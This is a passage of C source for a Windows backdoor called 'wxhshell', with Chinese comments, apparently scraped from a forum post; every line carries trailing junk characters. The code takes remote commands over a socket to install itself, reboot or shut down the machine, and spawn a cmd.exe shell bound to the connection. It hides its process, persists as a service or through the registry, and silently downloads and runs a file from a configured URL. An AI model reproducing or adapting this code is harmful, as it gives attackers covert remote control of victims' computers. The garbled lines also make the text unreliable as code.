  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 G.y.#W  
  else _DxHJl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )\yK61aX  
  } L#S W!  
  else { 4eWv).  
gWgp:;Me  
    switch(cmd[0]) { a&{Y~Og?%  
  fXWy9 #M  
  // 帮助 %N Q mV_1  
  case '?': { k'r}@-X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yeyDB>#Va.  
    break; {.Qv1oOa  
  } 4T@+gy^.  
  // 安装 a~Dk@>+P>  
  case 'i': { `h'+4  
    if(Install()) /KvJjt'8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Q:z -si  
    else OUWK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YPx+9^)  
    break; DpggZ|J  
    } )bM,>x  
  // 卸载 KBM*7raA  
  case 'r': { '( I0VJJ   
    if(Uninstall()) 3li$)S1z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -] wEk%j  
    else )W=O~g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {m!5IR  
    break; jyD~ER}J  
    } 3IRur,|'  
  // 显示 wxhshell 所在路径 7;+G)44  
  case 'p': { nA0%M1a  
    char svExeFile[MAX_PATH]; .@fA_8  
    strcpy(svExeFile,"\n\r"); %|JiFDjp  
      strcat(svExeFile,ExeFile); W,EIBgR(R5  
        send(wsh,svExeFile,strlen(svExeFile),0); Yuw:W:wY  
    break; ?j8!3NCl}  
    } GXxI=,L8F  
  // 重启 ~~Bks{"BS  
  case 'b': { cFc(HADM`r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (rFiHv5  
    if(Boot(REBOOT)) 6 D Xja_lp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S'5)K  
    else { /e"iY F  
    closesocket(wsh); lrZ]c:%k  
    ExitThread(0); ^mn!;nu  
    } 0GxJja  
    break; ;N#}3lpLqg  
    } g"748LY>=p  
  // 关机 |\dv$`_T  
  case 'd': { -$"$r ~ad  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =Rx4ZqTI|  
    if(Boot(SHUTDOWN)) O:#YLmbCN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rJGh3%  
    else { MrzD ah9UG  
    closesocket(wsh); x</4/d  
    ExitThread(0); T/E=?kBR  
    } T#Q7L~?zY  
    break; <oJ?J^  
    } t$du|q(  
  // 获取shell rO>'QZ%  
  case 's': { $ (;:4  
    CmdShell(wsh); |'-aR@xJ  
    closesocket(wsh); !#pc@(rE  
    ExitThread(0); ;@=3 @v  
    break; ;[;WEA  
  } t@R[:n;+  
  // 退出 wxqX42v  
  case 'x': { mDK*LL5]W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -&D=4,#  
    CloseIt(wsh); K@*+;6y@  
    break; `bBkPH}M  
    } \}4Y]xjV2  
  // 离开 Hy4;i^Ik <  
  case 'q': { +z nlf-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F oC $X  
    closesocket(wsh); |;NfH|43;  
    WSACleanup(); *-PjcF}Y  
    exit(1); e4Nd  
    break; ^7 \kvW  
        } x?o#}:S  
  } RAl/p9\A+  
  } ?:3hp2k<  
n4!RGq.}  
  // 提示信息 .iy>N/u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3v\P6  
} %JrZMs>  
  } }| MX=:@*  
f|VCibI  
  return; - (WH+  
} h#Z[ "BG  
{Vj&i.2,  
// shell模块句柄 w[d8#U   
int CmdShell(SOCKET sock) wr"0+J7  
{ c45 s #6  
STARTUPINFO si; r<fcZ)jt|  
ZeroMemory(&si,sizeof(si)); P}~MO)*1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m6[}KkW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,V,mz?d^9  
PROCESS_INFORMATION ProcessInfo; ya1 aWs~  
char cmdline[]="cmd"; (9RfsV4^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7:olStK  
  return 0; ,93Uji[l  
} LUD .  
qr4 lr!#t  
// 自身启动模式 _|["}M"?  
int StartFromService(void) i*/i"W<  
{ ;ZUj2WxE  
typedef struct Ez~5ax7x  
{ "7y, d%H  
  DWORD ExitStatus; *JDz0M4f  
  DWORD PebBaseAddress;  7qy PI  
  DWORD AffinityMask; 4*qBu}(  
  DWORD BasePriority; )>{ .t=#  
  ULONG UniqueProcessId; te( H6c#0  
  ULONG InheritedFromUniqueProcessId; uCr& `  
}   PROCESS_BASIC_INFORMATION; BJwuN  
_M/N_Fm  
PROCNTQSIP NtQueryInformationProcess; #?w07/~L  
LH2B*8=^2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I+H~ 5zq.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sR1_L/.  
5?;<^J  
  HANDLE             hProcess; 7tlK'j'  
  PROCESS_BASIC_INFORMATION pbi; z(LR!hr  
KxK,en4)+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cZ_)'0  
  if(NULL == hInst ) return 0; 7ivo Q  
^%,{R},s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YA$YT8iMe  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,5v'hG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =xm7i#1  
U\Vg&"P  
  if (!NtQueryInformationProcess) return 0;  j5/pVXO  
x4_MbUe  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^+D/59I  
  if(!hProcess) return 0; I`{*QU  
3`yO&upk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kyAN O  
xH\\#4/  
  CloseHandle(hProcess); L0"|4=  
0\XWdTj{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eZOR{|z  
if(hProcess==NULL) return 0; (0.oE%B",1  
[tk x84M8  
HMODULE hMod; f;^ +q-Q  
char procName[255]; pFY*Y>6ar  
unsigned long cbNeeded; :@i+yN cV  
IOZw[9](+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  q6F1Rt  
`hO%(9V9  
  CloseHandle(hProcess); 56z>/`=  
?@4Mt2Z\  
if(strstr(procName,"services")) return 1; // 以服务启动 AB/${RGf+  
|K1S(m<F  
  return 0; // 注册表启动 a6n@   
} > pb}@\;:  
y!gPBkG&3n  
// 主模块 xR0*w7YE  
int StartWxhshell(LPSTR lpCmdLine) e-y$&[  
{ ?YR;o4  
  SOCKET wsl; d.+  
BOOL val=TRUE; v_5qE  
  int port=0; ru 6`Z+p  
  struct sockaddr_in door; [<@T%yq  
UxNn5(:sM@  
  if(wscfg.ws_autoins) Install(); I>FL&E@K  
#ae?#?/"  
port=atoi(lpCmdLine); N62;@Z\7  
]|g2V a~-  
if(port<=0) port=wscfg.ws_port; n{!{,s  
UCcr>  
  WSADATA data; @>O7/d?O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [T r7SU#x  
Dst;sLr[,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^WB[uFt-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,nYa+e  
  door.sin_family = AF_INET; ?I^$35  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h@R n)D  
  door.sin_port = htons(port); HjA~3l7  
E~}H,*)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $a~  
closesocket(wsl); N9M}H#  
return 1; TNqL ')f  
} 4j3_OUwWZx  
zgjgEhnvU  
  if(listen(wsl,2) == INVALID_SOCKET) { s U`#hL6;  
closesocket(wsl); .5; JnJI  
return 1; Pr} l y  
} [8za=B/  
  Wxhshell(wsl); kEq~M10  
  WSACleanup(); 2?%*UxcO  
dY}5Kmt  
return 0; HE+'fQ!R  
U>*@VOgB  
} >bV3~m$a+  
?<t?G  
// 以NT服务方式启动 dYISjk@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t`Bk2Cc)+  
{ } 9zi5 o8  
DWORD   status = 0; o=Z:0Ukl]  
  DWORD   specificError = 0xfffffff; 3y.+03 W  
@xdtl{5G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +!u9_?Tp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w&H>`l06  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NE#`ZUr3  
  serviceStatus.dwWin32ExitCode     = 0; WVyDE1K <  
  serviceStatus.dwServiceSpecificExitCode = 0; uB"B{:Kz  
  serviceStatus.dwCheckPoint       = 0; .>;??BG}  
  serviceStatus.dwWaitHint       = 0; W^3 Jg2gE  
\"ogQnmz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0"e["q{|  
  if (hServiceStatusHandle==0) return; p+iNi4y@  
>6Pe~J5,:  
status = GetLastError(); EgG3XhfS  
  if (status!=NO_ERROR) 00;SK!+$  
{ ef*Z;HI0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q(~jP0pj%  
    serviceStatus.dwCheckPoint       = 0; /F.<Gz;w  
    serviceStatus.dwWaitHint       = 0; &,{ >b[  
    serviceStatus.dwWin32ExitCode     = status; l\L71|3"g  
    serviceStatus.dwServiceSpecificExitCode = specificError; [O\ )R[J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3L==p`   
    return; b&yuy  
  } 0Md.3kY  
% m6qL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '~ B2[  
  serviceStatus.dwCheckPoint       = 0; #Db^*  
  serviceStatus.dwWaitHint       = 0; VM5'd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ugN%8N  
} mQVlE__ub  
,1 H|{<  
// 处理NT服务事件,比如:启动、停止 / :.I&^>P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;rL>{UhG  
{ ? ;Sg,.J  
switch(fdwControl) IY.M#Q ]  
{ J[l7p6xk  
case SERVICE_CONTROL_STOP: F/J s K&&  
  serviceStatus.dwWin32ExitCode = 0; rCqwJoC`v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a\m=E#G  
  serviceStatus.dwCheckPoint   = 0; z4D)Xy"/  
  serviceStatus.dwWaitHint     = 0; 'J*'{  
  { +(x(Ybl#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \h[*oeh  
  } i;~.kgtq4  
  return; :-59~8&  
case SERVICE_CONTROL_PAUSE: W"s/ 8;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nT:<_'!  
  break; p&\QkI=  
case SERVICE_CONTROL_CONTINUE: pFMJG<W9,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OD[=fR|cp  
  break; U&(gNuR>J  
case SERVICE_CONTROL_INTERROGATE: :s+?"'DP  
  break; p5rq>&"  
}; 93Gj#Mk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IIMf\JdM  
} < (9 BO&  
%ho?KU2j  
// 标准应用程序主函数 LR.]&(kyd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !_+FuF"@  
{ U7U&^s6`  
*eXs7"H  
// 获取操作系统版本 OSuQ7V  
OsIsNt=GetOsVer(); KgYQxEbIW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IX 6 jb"  
}Uj-R3]}K  
  // 从命令行安装 CEkf0%YJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); p);[;S  
eCJtNPd  
  // 下载执行文件 ;K l'[~z  
if(wscfg.ws_downexe) { -h|[8UG^b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o:UNSr  
  WinExec(wscfg.ws_filenam,SW_HIDE); )RFY2 }  
} %! Sjbh  
GZ5DI+3  
if(!OsIsNt) { 4VF]t X?o  
// 如果时win9x,隐藏进程并且设置为注册表启动 ci? \W6  
HideProc(); mK7SEH;  
StartWxhshell(lpCmdLine); qldm"Ul  
} 6&i])iH  
else 7^.g\Kt?  
  if(StartFromService()) j?tE#  
  // 以服务方式启动 +#>nOn(B  
  StartServiceCtrlDispatcher(DispatchTable); $pPc}M[h  
else 6C"${}S F`  
  // 普通方式启动 jN= !Q&^i[  
  StartWxhshell(lpCmdLine); {LKW%G7  
GRj [2I7:  
return 0; EN ^L.q9#  
}
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只看该作者 1 发表于: 2006-10-10
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